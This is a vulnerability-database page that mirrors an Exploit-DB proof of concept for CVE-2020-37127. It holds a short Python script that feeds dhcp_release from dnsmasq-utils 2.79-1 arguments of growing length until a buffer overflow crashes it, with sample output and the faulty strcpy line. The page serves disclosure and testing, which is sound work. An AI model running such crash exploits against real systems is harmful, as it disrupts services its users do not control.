Lucene search
+L

dnsmasq-utils 2.79-1 - 'dhcp_release' Denial of Service (DoS) (PoC)

🗓️ 07 Apr 2020 00:00:00Reported by JosueEncinarType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 228 Views

dnsmasq-utils 2.79-1 Denial of Service (PoC) for dhcp_releas

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2020-37127
5 Feb 202616:13
–attackerkb
cnnvd
CNNVD
dnsmasq-utils security vulnerabilities
5 Feb 202600:00
–cnnvd
cve
CVE
CVE-2020-37127
5 Feb 202616:13
–cve
cvelist
Cvelist
CVE-2020-37127 dnsmasq-utils 2.79-1 - 'dhcp_release' Denial of Service
5 Feb 202616:13
–cvelist
debiancve
Debian CVE
CVE-2020-37127
5 Feb 202616:13
–debiancve
euvd
EUVD
EUVD-2020-31023
5 Feb 202616:13
–euvd
mend
Mend
CVE-2020-37127
5 Feb 202616:13
–mend
nvd
NVD
CVE-2020-37127
5 Feb 202617:16
–nvd
osv_debian
osv_debian
DEBIAN-CVE-2020-37127
5 Feb 202617:16
–osv_debian
osv_ubuntu
osv_ubuntu
UBUNTU-CVE-2020-37127
5 Feb 202617:16
–osv_ubuntu
Rows per page
# Exploit Title: dnsmasq-utils 2.79-1 - 'dhcp_release' Denial of Service (PoC)
# Date: 2020-04-06
# Exploit Author: Josue Encinar
# Software Link: https://launchpad.net/ubuntu/+source/dnsmasq/2.79-1
# Version: 2.79
# Tested on: Ubuntu 18.04


from subprocess import Popen, PIPE

data = ""
bof = False
for i in range (1, 200):
    A = "A"*i
    data = f"dhcp_release {A} 1 1"
    try:
        result = Popen(data, stdout=PIPE, stderr=PIPE, shell=True)
        error = result.stderr.read().decode()
        if "Aborted (core dumped)" in error:
            print("[+] Buffer Overflow detected!")
            print(f"[*] Offset: {i}")
            bof = True
            break
    except Exception as e:
        print(f"[-] {e}")

if not bof:
    print("[-] No buffer overflow...")


## Check line 273 in dhcp_release.c
### strcpy(ifr.ifr_name, argv[1]);
#
## PoC:
# josue@ubuntu:~/Escritorio/bof_dhcp$ python3 dhcp_release_bof.py
# *** buffer overflow detected ***: dhcp_release terminated
# [+] Buffer Overflow detected!
# [*] Offset: 16

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.15.5
CVSS 46.9
EPSS0.00207
SSVC
228